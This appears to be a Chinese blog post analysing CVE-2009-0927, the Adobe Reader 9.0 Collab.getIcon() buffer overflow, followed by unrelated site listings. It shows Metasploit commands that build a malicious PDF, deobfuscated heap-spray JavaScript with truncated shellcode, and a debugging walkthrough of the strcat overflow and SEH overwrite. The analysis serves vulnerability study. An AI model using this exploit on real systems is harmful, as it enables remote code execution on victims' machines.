CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析
0x00概述:
此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数,而产生的缓冲区溢出,成功利用可导致远程代码执行.
0x01测试环境:
- OS–Windows XP sp3
- Adobe Reader 9.0
0x02漏洞分析:
首先用msf生成样本,具体如下
> msf5 > search cve-2009-0927
> exploit/windows/browser/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> exploit/windows/fileformat/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> msf5 > use exploit/windows/fileformat/adobe_geticon
> msf5 exploit(windows/fileformat/adobe_geticon) > set payload windows/exec
> payload => windows/exec
> msf5 exploit(windows/fileformat/adobe_geticon) > set cmd calc.exe
> cmd => calc.exe
> msf5 exploit(windows/fileformat/adobe_geticon) > run
生成样本以后,运行一下成功弹出计算器,之后我们用PDFStreamDump打开,在对象5处可以看到样本中包含的payload,dump下来之后,发现payload中的js用了超长变量名,不利于阅读代码,把变量名替换以后,得到如下可读代码
var shellcode = unescape("%u4096%ud6f9%u9147%ufd98%ufd9b%uf840%u9047......");
var nopblock = "";
# 布置堆的内容
for (i = 128; i >= 0; --i)
{
nopblock += unescape("%u9090%u9090");
}
buff = nopblock + shellcode;
nop = unescape("%u9090%u9090");
headersize = 20;
acl = headersize + buff.length;
while (nop.length < acl)
{
nop += nop;
}
fillblock = nop.substring(0, acl);
block = nop.substring(0, nop.length - acl);
while (block.length + acl < 0x40000)
{
block = block + block + fillblock;
}
memory = new Array();
for (j = 0; j < 1450; j++)
{
memory[j] = block + buff;
}
# 用0x0a0a0a0a占领SEH
var ret_addr = unescape("%0a");
while (ret_addr.length < 0x4000)
{
ret_addr += ret_addr;
}
ret_addr = "N." + ret_addr; //注意这里的 N.
Collab.getIcon(ret_addr);
由shellcode可以看出这里用的方法是Heap Spray,在堆的开始布置了大量的nop指令,结尾是shellcode,接下来用OllyDbg附加Adobe Reader9.0,执行生成的样本,发现程序被断下来,提示13000地址无法写入错误,同时栈的内容能看到最近的函数调用,2210FE4E这个函数是我们常见的危险函数strcat的返回地址,溢出的地方极有可能在这里.

我们查看当前程序加载的动态链接库,看到以22100000开始的地址在annots.api这个文件中.

我们用IDA打开这个文件,通过地址找到strcat所在位置,查看崩溃函数的上下文内容,如图所示,strrchr函数返回的是一个指向传入参数中最后一个.之后的字符串的指针(这里也就明白了为什么POC中的开头要用N.了),接着未做长度检查直接调用了strcat,导致了溢出发生.

为了验证我们的猜想,接下来用OD动态调试,已确认我们的判断,这一次,在附加了Adobe Reader以后,我们在2210FE49这个位置下一个断点,观察数据传入的变化,随后打开样本,程序被调试器断下,根据笔者的调试经验,第一次断下并看不到传入的数据,这里直接按F9四次以后,在堆栈模块很明显会看到我们熟悉的数据和目的数组,如图

0x03漏洞利用:
关于Heap Spray这里不再过多作介绍,由于这个版本的没有开启DEP机制,所以关于这里的情形通常有两种劫持EIP的方式
- 覆盖函数的返回地址
- 覆盖异常处理函数的指针
首先介绍一下第一种,覆盖函数返回地址的方式是很通用的方式,在这里只需要找到最近的一个函数的返回地址,然后计算到覆盖返回地址需要的数据长度即可,但这里最好不考虑这种方式,因为我们还需要计算数据的长度,稍微麻烦了一些.笔者推介用第二种方案,覆盖异常处理函数指针的方式来达到目的,用这种方法的好处就避免了计算数据长度,我们估算一个合适的长度(一般SEH指针离函数的位置较远,这里合适选择四五千的样子,这里的POC给出的是四千),我们来看下覆盖前后的对比


随后,想要见证一步一步直到控制EIP的只需要一步一步跟,不要忽略每个可能的函数,可能要浪费点时间,最终一定会看到EIP = 0x0c0c0c0c,如下图

CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析的更多相关文章
- CVE-2010-2883Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞分析
Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器. 基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x ...
- CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析
漏洞简述 Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件. Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31
0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...
- CVE-2010-2883-CoolType.dll缓冲区溢出漏洞分析
前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 复现环境 操作系统 -> Windows XP Sp3 软件版本 -> A ...
- Nagios Core/Icinga 基于栈的缓冲区溢出漏洞
漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...
- Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞
漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
随机推荐
- windows上部署rabbitmq遇到的一些问题及解决方法
在目前这家公司,刚进公司的时候接手了一个服务,算是个比较完备的服务,其中几台电脑之间通信用到了rabbitmq,一开始没出什么问题,然后后来勒索病毒wanner cry来的时候,系服把所有服务器装了一 ...
- ui自动化--鼠标操作ActionChains
需要先引入鼠标操作模块:from selenium.webdriver.common.action_chains import ActionChains 实际上ActionChains这个模块的实现的 ...
- Linux系统安装01-centos7系统安装
2020注定是一个不平凡的年份,对于各行各业都是不小的波动.话说回来,从当前的互联网趋势来看,linux的使用以后会越来越广泛,既然之前不懂linux,那么我们就从头开始,先学习Linux的系统安装. ...
- (超详细)动手编写-链表(Java实现)
目录 前言 概念 链表的设计 完整代码 List接口 抽象父类设计 链表-LinkedList 虚拟头结点 概念 结构设计 方法变动 双向链表 概念 双向链表设计 方法变动 循环链表 单向循环链表 双 ...
- docker下jira数据备份和还原注意路径
重点:jira页面上的备份与恢复页面的路径,跟我实际路径是有出入的,如果找不到就用find去搜下备份文件就知道怎么操作了 1.登录jira后,右上角的系统——左侧的导入与导出——选择里面的备份与恢复 ...
- git如何在远程某个分支的基础上新建分支
1.任意新建文件夹,右击git bash here $ git init(将此目录变成本地仓库) 2.$ git remote add origin 'https://git............g ...
- MybatisPlus根据模板生成器代码
导读 网上的代码生成器,都不是自己想要的,今天下午研究了下,可以使用mybatisplus自定义模板,根据模板生成相应的代码,可以根据需求,改造相应模板即可.代码已上传github/百度云. 项目结构 ...
- 【思维】The Four Dimensions of Thinking :长线思维的力量
"经历过这些苦难之后,我拥抱了一种新的人生哲学,就是更多地关注在那些长期可以获得复利的小收获上,而不是那种频繁的短跑冲刺和精力消耗". 斯坦福教授,著名的心理学家Philip Zi ...
- Java基础一篇过(六)Java8--lambda表达式
一.简介 lambda表达式是Java8的一个重要特性,也可以称为闭包,常用于配合Java8的Stream对集合元素进行操作,使得代码更简介紧凑. 二.代码解析 虽说lambda表达式是一个新的特性, ...
- OSI和TCP/IP参考模型
分层思想: 分层模型是一种开发网络协议的设计方法. 把节点之间的通讯这个复杂的问题,分成了若干个简单的小问题逐一解决. 把网络相邻节点之间通过接口进行通信,下层为上层提供服务.当网络发生故障,很容易确 ...